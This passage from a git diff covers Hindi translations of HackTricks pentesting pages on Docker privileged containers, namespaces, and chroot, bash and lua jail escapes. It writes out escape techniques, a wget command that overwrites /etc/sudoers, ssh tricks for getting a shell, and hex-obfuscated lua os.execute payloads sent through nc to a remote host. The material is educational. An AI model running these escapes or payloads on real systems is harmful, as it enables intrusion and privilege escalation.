कारण अन्य प्रक्रियाओं के साथ बातचीत करते समय बाहर न निकल सकें (डिफ़ॉल्ट रूप से IPCs, यूनिक्स सॉकेट, नेटवर्क सेवाओं, D-Bus, `/proc` अन्य प्रक्रियाओं के माध्यम से संवाद नहीं कर सकते)। +- **रूट उपयोगकर्ता**: डिफ़ॉल्ट रूप से प्रक्रिया चलाने वाला उपयोगकर्ता रूट उपयोगकर्ता होता है (हालांकि इसके विशेषाधिकार सीमित होते हैं)। +- **क्षमताएँ**: डॉकर निम्नलिखित क्षमताएँ छोड़ता है: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +- **सिस्टम कॉल**: ये वे सिस्टम कॉल हैं जिन्हें **रूट उपयोगकर्ता नहीं बुला सकेगा** (क्षमताओं की कमी + Seccomp के कारण)। अन्य सिस्टम कॉल का उपयोग बाहर निकलने की कोशिश करने के लिए किया जा सकता है। {{#tabs}} {{#tab name="x64 syscalls"}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index 0da769e6b..6de479118 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -61,7 +61,7 @@ mount | grep '(ro' **/proc** फ़ाइल प्रणाली चयनात्मक रूप से लिखने योग्य है लेकिन सुरक्षा के लिए, कुछ भागों को **tmpfs** के साथ ओवरले करके लिखने और पढ़ने की पहुंच से ढक दिया गया है, यह सुनिश्चित करते हुए कि कंटेनर प्रक्रियाएँ संवेदनशील क्षेत्रों तक नहीं पहुँच सकतीं। -> [!NOTE] > **tmpfs** एक फ़ाइल प्रणाली है जो सभी फ़ाइलों को वर्चुअल मेमोरी में संग्रहीत करती है। tmpfs आपके हार्ड ड्राइव पर कोई फ़ाइलें नहीं बनाता है। इसलिए यदि आप एक tmpfs फ़ाइल प्रणाली को अनमाउंट करते हैं, तो इसमें मौजूद सभी फ़ाइलें हमेशा के लिए खो जाती हैं। +> [!NOTE] > **tmpfs** एक फ़ाइल प्रणाली है जो सभी फ़ाइलों को वर्चुअल मेमोरी में संग्रहीत करती है। tmpfs आपके हार्ड ड्राइव पर कोई फ़ाइलें नहीं बनाती है। इसलिए यदि आप एक tmpfs फ़ाइल प्रणाली को अनमाउंट करते हैं, तो उसमें मौजूद सभी फ़ाइलें हमेशा के लिए खो जाती हैं। {{#tabs}} {{#tab name="Inside default container"}} @@ -86,6 +86,7 @@ mount | grep /proc.*tmpfs कंटेनर इंजन कंटेनरों को **सीमित संख्या में क्षमताओं** के साथ लॉन्च करते हैं ताकि कंटेनर के अंदर क्या होता है, इसे डिफ़ॉल्ट रूप से नियंत्रित किया जा सके। **विशेषाधिकार प्राप्त** वाले सभी **क्षमताओं** तक पहुँच रखते हैं। क्षमताओं के बारे में जानने के लिए पढ़ें: + {{#ref}} ../linux-capabilities.md {{#endref}} @@ -114,11 +115,12 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset {{#endtab}} {{#endtabs}} -आप `--privileged` मोड में चलाए बिना कंटेनर के लिए उपलब्ध क्षमताओं को `--cap-add` और `--cap-drop` फ्लैग का उपयोग करके नियंत्रित कर सकते हैं। +आप एक कंटेनर के लिए उपलब्ध क्षमताओं को `--privileged` मोड में चलाए बिना `--cap-add` और `--cap-drop` फ्लैग का उपयोग करके नियंत्रित कर सकते हैं। ### Seccomp -**Seccomp** एक कंटेनर द्वारा कॉल किए जा सकने वाले **syscalls** को **सीमित** करने के लिए उपयोगी है। डिफ़ॉल्ट रूप से, डॉकर कंटेनरों को चलाते समय एक डिफ़ॉल्ट सेकंप प्रोफ़ाइल सक्षम होती है, लेकिन विशेषाधिकार मोड में यह अक्षम होती है। Seccomp के बारे में अधिक जानें यहाँ: +**Seccomp** एक कंटेनर द्वारा कॉल किए जा सकने वाले **syscalls** को **सीमित** करने के लिए उपयोगी है। डॉकर कंटेनरों को चलाते समय एक डिफ़ॉल्ट सेकंप प्रोफ़ाइल डिफ़ॉल्ट रूप से सक्षम होती है, लेकिन विशेषाधिकार मोड में यह अक्षम होती है। Seccomp के बारे में अधिक जानें यहाँ: + {{#ref}} seccomp.md @@ -151,7 +153,7 @@ Seccomp_filters: 0 ### AppArmor -**AppArmor** एक कर्नेल संवर्धन है जो **कंटेनरों** को **सीमित** सेट के **संसाधनों** में **प्रति-कार्यक्रम प्रोफाइल** के साथ सीमित करता है। जब आप `--privileged` ध्वज के साथ चलाते हैं, तो यह सुरक्षा अक्षम हो जाती है। +**AppArmor** एक कर्नेल संवर्धन है जो **containers** को **सीमित** सेट के **resources** के साथ **प्रति-कार्यक्रम प्रोफाइल** में सीमित करता है। जब आप `--privileged` ध्वज के साथ चलाते हैं, तो यह सुरक्षा अक्षम हो जाती है। {{#ref}} apparmor.md @@ -162,7 +164,7 @@ apparmor.md ``` ### SELinux -`--privileged` ध्वज के साथ कंटेनर चलाने से **SELinux लेबल** निष्क्रिय हो जाते हैं, जिससे यह कंटेनर इंजन का लेबल विरासत में लेता है, जो आमतौर पर `unconfined` होता है, जो कंटेनर इंजन के समान पूर्ण पहुंच प्रदान करता है। रूटलेस मोड में, यह `container_runtime_t` का उपयोग करता है, जबकि रूट मोड में, `spc_t` लागू होता है। +`--privileged` ध्वज के साथ कंटेनर चलाने से **SELinux लेबल** निष्क्रिय हो जाते हैं, जिससे यह कंटेनर इंजन का लेबल विरासत में लेता है, आमतौर पर `unconfined`, जो कंटेनर इंजन के समान पूर्ण पहुंच प्रदान करता है। रूटलेस मोड में, यह `container_runtime_t` का उपयोग करता है, जबकि रूट मोड में, `spc_t` लागू होता है। {{#ref}} ../selinux.md @@ -175,7 +177,7 @@ apparmor.md ### नामस्थान -Namespaces **प्रभावित नहीं होते** `--privileged` ध्वज द्वारा। भले ही उनके पास सुरक्षा प्रतिबंध सक्षम नहीं हैं, वे **सिस्टम या होस्ट नेटवर्क पर सभी प्रक्रियाओं को नहीं देखते हैं, उदाहरण के लिए**। उपयोगकर्ता **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** कंटेनर इंजन ध्वजों का उपयोग करके व्यक्तिगत नामस्थान को अक्षम कर सकते हैं। +Namespaces **प्रभावित नहीं होते** `--privileged` ध्वज द्वारा। भले ही उनके पास सुरक्षा प्रतिबंध सक्षम नहीं होते, वे **सिस्टम या होस्ट नेटवर्क पर सभी प्रक्रियाओं को नहीं देखते, उदाहरण के लिए**। उपयोगकर्ता **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** कंटेनर इंजन ध्वजों का उपयोग करके व्यक्तिगत नामस्थान को अक्षम कर सकते हैं। {{#tabs}} {{#tab name="Inside default privileged container"}} @@ -203,7 +205,7 @@ PID USER TIME COMMAND ### उपयोगकर्ता नामस्थान -**डिफ़ॉल्ट रूप से, कंटेनर इंजन उपयोगकर्ता नामस्थान का उपयोग नहीं करते हैं, सिवाय रूटलेस कंटेनरों के**, जिन्हें फ़ाइल सिस्टम माउंटिंग और कई UID का उपयोग करने के लिए इसकी आवश्यकता होती है। उपयोगकर्ता नामस्थान, जो रूटलेस कंटेनरों के लिए अनिवार्य हैं, को बंद नहीं किया जा सकता और यह विशेषाधिकारों को सीमित करके सुरक्षा को महत्वपूर्ण रूप से बढ़ाते हैं। +**डिफ़ॉल्ट रूप से, कंटेनर इंजन उपयोगकर्ता नामस्थान का उपयोग नहीं करते हैं, सिवाय रूटलेस कंटेनरों के**, जिन्हें फ़ाइल प्रणाली माउंटिंग और कई UID का उपयोग करने के लिए इसकी आवश्यकता होती है। उपयोगकर्ता नामस्थान, जो रूटलेस कंटेनरों के लिए अनिवार्य हैं, को अक्षम नहीं किया जा सकता है और यह विशेषाधिकारों को सीमित करके सुरक्षा को महत्वपूर्ण रूप से बढ़ाते हैं। ## संदर्भ diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md index 94092dae0..1e23cd36f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md @@ -1,44 +1,51 @@ -# नामस्थान +# Namespaces {{#include ../../../../banners/hacktricks-training.md}} -### **PID नामस्थान** +### **PID namespace** + {{#ref}} pid-namespace.md {{#endref}} -### **माउंट नामस्थान** +### **Mount namespace** + {{#ref}} mount-namespace.md {{#endref}} -### **नेटवर्क नामस्थान** +### **Network namespace** + {{#ref}} network-namespace.md {{#endref}} -### **IPC नामस्थान** +### **IPC Namespace** + {{#ref}} ipc-namespace.md {{#endref}} -### **UTS नामस्थान** +### **UTS namespace** + {{#ref}} uts-namespace.md {{#endref}} -### समय नामस्थान +### Time Namespace + {{#ref}} time-namespace.md {{#endref}} -### उपयोगकर्ता नामस्थान +### User namespace + {{#ref}} user-namespace.md diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index 71c01b5c0..fbf4af096 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -4,18 +4,19 @@ ## Basic Information -Cgroup namespace एक Linux kernel फीचर है जो **namespace के भीतर चल रहे प्रक्रियाओं के लिए cgroup hierarchies का पृथक्करण प्रदान करता है**। Cgroups, जिसका संक्षिप्त रूप **control groups** है, एक kernel फीचर है जो प्रक्रियाओं को हायरार्किकल समूहों में व्यवस्थित करने की अनुमति देता है ताकि **CPU, मेमोरी, और I/O जैसे सिस्टम संसाधनों पर सीमाएँ प्रबंधित और लागू की जा सकें**। +एक cgroup namespace एक Linux kernel विशेषता है जो **namespace के भीतर चल रहे प्रक्रियाओं के लिए cgroup पदानुक्रम का पृथक्करण** प्रदान करती है। Cgroups, जिसका संक्षिप्त रूप **control groups** है, एक kernel विशेषता है जो प्रक्रियाओं को पदानुक्रमित समूहों में व्यवस्थित करने की अनुमति देती है ताकि **CPU, मेमोरी, और I/O** जैसे सिस्टम संसाधनों पर **सीमाएँ** प्रबंधित और लागू की जा सकें। -हालांकि cgroup namespaces अन्य प्रकार के namespaces (PID, mount, network, आदि) की तरह एक अलग namespace प्रकार नहीं हैं, वे namespace पृथक्करण के सिद्धांत से संबंधित हैं। **Cgroup namespaces cgroup hierarchy का दृश्य वर्चुअलाइज़ करते हैं**, ताकि cgroup namespace के भीतर चल रही प्रक्रियाएँ होस्ट या अन्य namespaces में चल रही प्रक्रियाओं की तुलना में hierarchy का एक अलग दृश्य देख सकें। +हालांकि cgroup namespaces अन्य namespace प्रकारों की तरह अलग नहीं हैं (PID, mount, network, आदि), वे namespace पृथक्करण के सिद्धांत से संबंधित हैं। **Cgroup namespaces cgroup पदानुक्रम के दृश्य को वर्चुअलाइज़ करते हैं**, ताकि cgroup namespace के भीतर चल रही प्रक्रियाएँ पदानुक्रम का एक अलग दृश्य देख सकें, जो होस्ट या अन्य namespaces में चल रही प्रक्रियाओं की तुलना में है। ### How it works: -1. जब एक नया cgroup namespace बनाया जाता है, **यह बनाने वाली प्रक्रिया के cgroup के आधार पर cgroup hierarchy का एक दृश्य के साथ शुरू होता है**। इसका मतलब है कि नए cgroup namespace में चल रही प्रक्रियाएँ पूरी cgroup hierarchy का केवल एक उपसमुच्चय देखेंगी, जो बनाने वाली प्रक्रिया के cgroup पर आधारित cgroup subtree तक सीमित है। -2. cgroup namespace के भीतर प्रक्रियाएँ **अपनी स्वयं की cgroup को hierarchy के मूल के रूप में देखेंगी**। इसका मतलब है कि namespace के भीतर प्रक्रियाओं के दृष्टिकोण से, उनकी अपनी cgroup मूल के रूप में प्रकट होती है, और वे अपनी स्वयं की subtree के बाहर cgroups को नहीं देख या एक्सेस नहीं कर सकते। -3. Cgroup namespaces सीधे संसाधनों का पृथक्करण प्रदान नहीं करते; **वे केवल cgroup hierarchy दृश्य का पृथक्करण प्रदान करते हैं**। **संसाधन नियंत्रण और पृथक्करण अभी भी cgroup** subsystems (जैसे, cpu, memory, आदि) द्वारा लागू किया जाता है। +1. जब एक नया cgroup namespace बनाया जाता है, **यह बनाने वाली प्रक्रिया के cgroup के आधार पर cgroup पदानुक्रम का एक दृश्य के साथ शुरू होता है**। इसका मतलब है कि नए cgroup namespace में चल रही प्रक्रियाएँ पूरे cgroup पदानुक्रम का केवल एक उपसमुच्चय देखेंगी, जो बनाने वाली प्रक्रिया के cgroup से उत्पन्न cgroup subtree तक सीमित है। +2. cgroup namespace के भीतर प्रक्रियाएँ **अपने cgroup को पदानुक्रम के मूल के रूप में देखेंगी**। इसका मतलब है कि, namespace के भीतर प्रक्रियाओं के दृष्टिकोण से, उनका अपना cgroup मूल के रूप में प्रकट होता है, और वे अपने स्वयं के subtree के बाहर cgroups को नहीं देख या एक्सेस नहीं कर सकते। +3. Cgroup namespaces सीधे संसाधनों का पृथक्करण प्रदान नहीं करते; **वे केवल cgroup पदानुक्रम दृश्य का पृथक्करण प्रदान करते हैं**। **संसाधन नियंत्रण और पृथक्करण अभी भी cgroup** उपप्रणालियों (जैसे, cpu, memory, आदि) द्वारा लागू किया जाता है। CGroups के बारे में अधिक जानकारी के लिए देखें: + {{#ref}} ../cgroups.md {{#endref}} @@ -28,7 +29,7 @@ CGroups के बारे में अधिक जानकारी के ```bash sudo unshare -C [--mount-proc] /bin/bash ``` -एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलगावित दृश्य** है। +एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नया माउंट नामस्थान उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलग दृष्टिकोण** रखता है।
@@ -40,17 +41,17 @@ sudo unshare -C [--mount-proc] /bin/bash - Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं। - `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं। -- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का विशेष कार्य अनाथ प्रक्रियाओं को अपनाना है। Linux कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा। +- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यदि कोई अन्य प्रक्रियाएँ नहीं हैं, तो यह नामस्थान की सफाई को ट्रिगर करती है, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। Linux कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा। 2. **परिणाम**: -- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसके परिणामस्वरूप, नए प्रक्रिया बनाने के दौरान `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है। +- नए नामस्थान में PID 1 के समाप्त होने से `PIDNS_HASH_ADDING` ध्वज की सफाई होती है। इसका परिणाम यह होता है कि नए प्रक्रिया को बनाने के समय `alloc_pid` फ़ंक्शन नए PID आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है। 3. **समाधान**: - इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है। - `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं। -यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नए PID नामस्थान को सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं। +यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
diff --git a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index 3f24ebd7a..6004b2253 100644 --- a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -1,4 +1,4 @@ -# जेल से भागना +# Jails से बाहर निकलना {{#include ../../banners/hacktricks-training.md}} @@ -6,22 +6,22 @@ **खोजें** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **यदि आप "Shell" प्रॉपर्टी के साथ कोई बाइनरी निष्पादित कर सकते हैं** -## Chroot भागने +## Chroot Escape -[विकिपीडिया](https://en.wikipedia.org/wiki/Chroot#Limitations) से: च्रूट तंत्र **जानबूझकर छेड़छाड़** के खिलाफ **विशिष्ट** (**रूट**) **उपयोगकर्ताओं** से **रक्षा** के लिए **नहीं है**। अधिकांश सिस्टम पर, च्रूट संदर्भ ठीक से स्टैक नहीं होते हैं और च्रूटेड प्रोग्राम **पर्याप्त विशेषाधिकार के साथ एक दूसरा च्रूट करने में सक्षम हो सकते हैं**।\ -आमतौर पर इसका मतलब है कि भागने के लिए आपको च्रूट के अंदर रूट होना चाहिए। +[विकिपीडिया](https://en.wikipedia.org/wiki/Chroot#Limitations) से: chroot तंत्र **जानबूझकर छेड़छाड़** के खिलाफ **privileged** (**root**) **उपयोगकर्ताओं** से **रक्षा** के लिए **नहीं है**। अधिकांश सिस्टम पर, chroot संदर्भ ठीक से स्टैक नहीं होते हैं और chrooted प्रोग्राम **पर्याप्त विशेषाधिकार के साथ एक दूसरा chroot करने में सक्षम हो सकते हैं**।\ +आमतौर पर इसका मतलब है कि बाहर निकलने के लिए आपको chroot के अंदर root होना चाहिए। > [!TIP] -> **उपकरण** [**chw00t**](https://github.com/earthquake/chw00t) को निम्नलिखित परिदृश्यों का दुरुपयोग करने और `chroot` से भागने के लिए बनाया गया था। +> **उपकरण** [**chw00t**](https://github.com/earthquake/chw00t) को निम्नलिखित परिदृश्यों का दुरुपयोग करने और `chroot` से बाहर निकलने के लिए बनाया गया था। -### रूट + CWD +### Root + CWD > [!WARNING] -> यदि आप च्रूट के अंदर **रूट** हैं तो आप **दूसरा च्रूट** बनाकर **भाग सकते हैं**। इसका कारण यह है कि 2 च्रूट एक साथ नहीं रह सकते (Linux में), इसलिए यदि आप एक फ़ोल्डर बनाते हैं और फिर उस नए फ़ोल्डर पर **एक नया च्रूट** बनाते हैं जबकि **आप इसके बाहर हैं**, तो आप अब **नए च्रूट के बाहर** होंगे और इसलिए आप FS में होंगे। +> यदि आप chroot के अंदर **root** हैं तो आप **दूसरा chroot** बनाकर **बाहर निकल सकते हैं**। इसका कारण यह है कि 2 chroots (Linux में) सह-अस्तित्व नहीं कर सकते, इसलिए यदि आप एक फ़ोल्डर बनाते हैं और फिर उस नए फ़ोल्डर पर **एक नया chroot** बनाते हैं जबकि **आप इसके बाहर हैं**, तो आप अब **नए chroot के बाहर** होंगे और इसलिए आप FS में होंगे। > -> यह इसलिए होता है क्योंकि आमतौर पर च्रूट आपकी कार्यशील निर्देशिका को निर्दिष्ट स्थान पर नहीं ले जाता है, इसलिए आप एक च्रूट बना सकते हैं लेकिन इसके बाहर रह सकते हैं। +> यह इसलिए होता है क्योंकि आमतौर पर chroot आपकी कार्यशील निर्देशिका को निर्दिष्ट स्थान पर नहीं ले जाता है, इसलिए आप एक chroot बना सकते हैं लेकिन इसके बाहर रह सकते हैं। -आमतौर पर आप च्रूट जेल के अंदर `chroot` बाइनरी नहीं पाएंगे, लेकिन आप **एक बाइनरी संकलित, अपलोड और निष्पादित** कर सकते हैं: +आमतौर पर आप chroot जेल के अंदर `chroot` बाइनरी नहीं पाएंगे, लेकिन आप **एक बाइनरी संकलित, अपलोड और निष्पादित** कर सकते हैं:
@@ -79,7 +79,7 @@ system("/bin/bash"); ### रूट + सहेजा गया fd > [!WARNING] -> यह पिछले मामले के समान है, लेकिन इस मामले में **हमलावर वर्तमान निर्देशिका के लिए एक फ़ाइल वर्णनकर्ता को सहेजता है** और फिर **एक नए फ़ोल्डर में chroot बनाता है**। अंततः, चूंकि उसके पास chroot के **बाहर** उस **FD** तक **पहुँच** है, वह इसे एक्सेस करता है और वह **भाग निकलता है**। +> यह पिछले मामले के समान है, लेकिन इस मामले में **हमलावर वर्तमान निर्देशिका के लिए एक फ़ाइल डिस्क्रिप्टर को सहेजता है** और फिर **एक नए फ़ोल्डर में chroot बनाता है**। अंततः, चूंकि उसके पास **chroot के बाहर** उस **FD** तक **पहुँच** है, वह इसे एक्सेस करता है और वह **भाग निकलता है**।
@@ -113,10 +113,10 @@ chroot("."); > > - एक चाइल्ड प्रोसेस बनाएं (fork) > - UDS बनाएं ताकि पैरेंट और चाइल्ड बात कर सकें -> - चाइल्ड प्रोसेस में एक अलग फ़ोल्डर में chroot चलाएं -> - पैरेंट प्रोसेस में, एक FD बनाएं जो नए चाइल्ड प्रोसेस के chroot के बाहर है -> - UDS का उपयोग करके चाइल्ड प्रोसेस को वह FD पास करें -> - चाइल्ड प्रोसेस उस FD पर chdir करें, और क्योंकि यह अपने chroot के बाहर है, वह जेल से भाग जाएगा +> - चाइल्ड प्रोसेस में एक अलग फोल्डर में chroot चलाएं +> - पैरेंट प्रोसेस में, एक FD बनाएं जो नए चाइल्ड प्रोसेस के chroot के बाहर हो +> - उस FD को UDS का उपयोग करके चाइल्ड प्रोसेस को पास करें +> - चाइल्ड प्रोसेस उस FD में chdir करें, और क्योंकि यह अपने chroot के बाहर है, वह जेल से भाग जाएगा ### Root + Mount @@ -132,22 +132,22 @@ chroot("."); > [!WARNING] > > - च्रूट के अंदर एक डायरेक्टरी में procfs को माउंट करें (यदि यह अभी तक नहीं है) -> - एक pid देखें जिसमें एक अलग root/cwd एंट्री है, जैसे: /proc/1/root +> - एक pid देखें जिसमें एक अलग root/cwd एंट्री हो, जैसे: /proc/1/root > - उस एंट्री में च्रूट करें ### Root(?) + Fork > [!WARNING] > -> - एक Fork (चाइल्ड प्रोसेस) बनाएं और FS में गहरे एक अलग फ़ोल्डर में च्रूट करें और उस पर CD करें -> - पैरेंट प्रोसेस से, उस फ़ोल्डर को स्थानांतरित करें जहां चाइल्ड प्रोसेस च्रूट के बच्चों के च्रूट से पहले के फ़ोल्डर में है +> - एक Fork (चाइल्ड प्रोसेस) बनाएं और FS में गहरे एक अलग फोल्डर में च्रूट करें और उस पर CD करें +> - पैरेंट प्रोसेस से, उस फोल्डर को स्थानांतरित करें जहां चाइल्ड प्रोसेस च्रूट के बच्चों के च्रूट से पहले के फोल्डर में है > - यह चाइल्ड प्रोसेस खुद को च्रूट के बाहर पाएगा ### ptrace > [!WARNING] > -> - कुछ समय पहले उपयोगकर्ता अपने प्रोसेस को अपने ही प्रोसेस से डिबग कर सकते थे... लेकिन अब यह डिफ़ॉल्ट रूप से संभव नहीं है +> - कुछ समय पहले उपयोगकर्ता अपने ही प्रोसेस को अपने एक प्रोसेस से डिबग कर सकते थे... लेकिन अब यह डिफ़ॉल्ट रूप से संभव नहीं है > - फिर भी, यदि यह संभव है, तो आप एक प्रोसेस में ptrace कर सकते हैं और इसके अंदर एक shellcode निष्पादित कर सकते हैं ([इस उदाहरण को देखें](linux-capabilities.md#cap_sys_ptrace)). ## Bash Jails @@ -177,14 +177,14 @@ echo /home/* #List directory ``` ### स्क्रिप्ट बनाएं -जांचें कि क्या आप _/bin/bash_ के रूप में सामग्री के साथ एक निष्पादन योग्य फ़ाइल बना सकते हैं। +जांचें कि क्या आप _/bin/bash_ के रूप में सामग्री के साथ एक निष्पादन योग्य फ़ाइल बना सकते हैं ```bash red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` -### SSH के माध्यम से bash प्राप्त करें +### Get bash from SSH -यदि आप ssh के माध्यम से पहुँच रहे हैं, तो आप bash शेल निष्पादित करने के लिए इस ट्रिक का उपयोग कर सकते हैं: +यदि आप ssh के माध्यम से पहुँच रहे हैं, तो आप bash शेल निष्पादित करने के लिए इस तरकीब का उपयोग कर सकते हैं: ```bash ssh -t user@ bash # Get directly an interactive shell ssh user@ -t "bash --noprofile -i" @@ -209,13 +209,15 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers [https://gtfobins.github.io](https://gtfobins.github.io)\ **यह पृष्ठ भी दिलचस्प हो सकता है:** + {{#ref}} ../bypass-bash-restrictions/ {{#endref}} ## Python जेलें -पायथन जेलों से बचने के बारे में तरकीबें निम्नलिखित पृष्ठ पर: +पायथन जेलों से escaping के बारे में तरकीबें निम्नलिखित पृष्ठ पर हैं: + {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ @@ -229,7 +231,7 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` -कुछ तरकीबें **बिना डॉट का उपयोग किए लाइब्रेरी के फ़ंक्शन कॉल करने के लिए**: +कुछ तरकीबें **बिना डॉट का उपयोग किए एक पुस्तकालय के फ़ंक्शन कॉल करने के लिए**: ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) @@ -238,7 +240,7 @@ print(rawget(string, "char")(0x41, 0x42)) ```bash for k,v in pairs(string) do print(k,v) end ``` -ध्यान दें कि जब आप **अलग lua वातावरण में पिछले एक लाइनर को निष्पादित करते हैं तो कार्यों का क्रम बदल जाता है**। इसलिए यदि आपको एक विशिष्ट कार्य को निष्पादित करने की आवश्यकता है, तो आप विभिन्न lua वातावरणों को लोड करके और le library के पहले कार्य को कॉल करके एक ब्रूट फोर्स हमला कर सकते हैं: +ध्यान दें कि जब भी आप पिछले एक लाइनर को **अलग lua वातावरण में निष्पादित करते हैं, तो कार्यों का क्रम बदल जाता है**। इसलिए यदि आपको एक विशिष्ट कार्य को निष्पादित करने की आवश्यकता है, तो आप विभिन्न lua वातावरणों को लोड करके और le library के पहले कार्य को कॉल करके एक ब्रूट फोर्स हमला कर सकते हैं: ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky @@ -249,7 +251,7 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` -**इंटरएक्टिव lua शेल प्राप्त करें**: यदि आप एक सीमित lua शेल के अंदर हैं, तो आप एक नया lua शेल (और उम्मीद है कि अनलिमिटेड) प्राप्त कर सकते हैं: +**इंटरैक्टिव lua शेल प्राप्त करें**: यदि आप एक सीमित lua शेल के अंदर हैं, तो आप एक नया lua शेल (और उम्मीद है कि अनलिमिटेड) प्राप्त कर सकते हैं: ```bash debug.debug() ``` diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index a42f5936a..02b0ca33c 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -27,7 +27,7 @@ sudo su find / -perm -4000 2>/dev/null ``` यदि आप पाते हैं कि बाइनरी **pkexec एक SUID बाइनरी है** और आप **sudo** या **admin** समूह में हैं, तो आप संभवतः `pkexec` का उपयोग करके बाइनरी को sudo के रूप में निष्पादित कर सकते हैं।\ -यह इसलिए है क्योंकि आमतौर पर ये **polkit नीति** के भीतर समूह होते हैं। यह नीति मूल रूप से पहचानती है कि कौन से समूह `pkexec` का उपयोग कर सकते हैं। इसे जांचें: +यह इसलिए है क्योंकि आमतौर पर ये **polkit नीति** के अंदर समूह होते हैं। यह नीति मूल रूप से पहचानती है कि कौन से समूह `pkexec` का उपयोग कर सकते हैं। इसे जांचें: ```bash cat 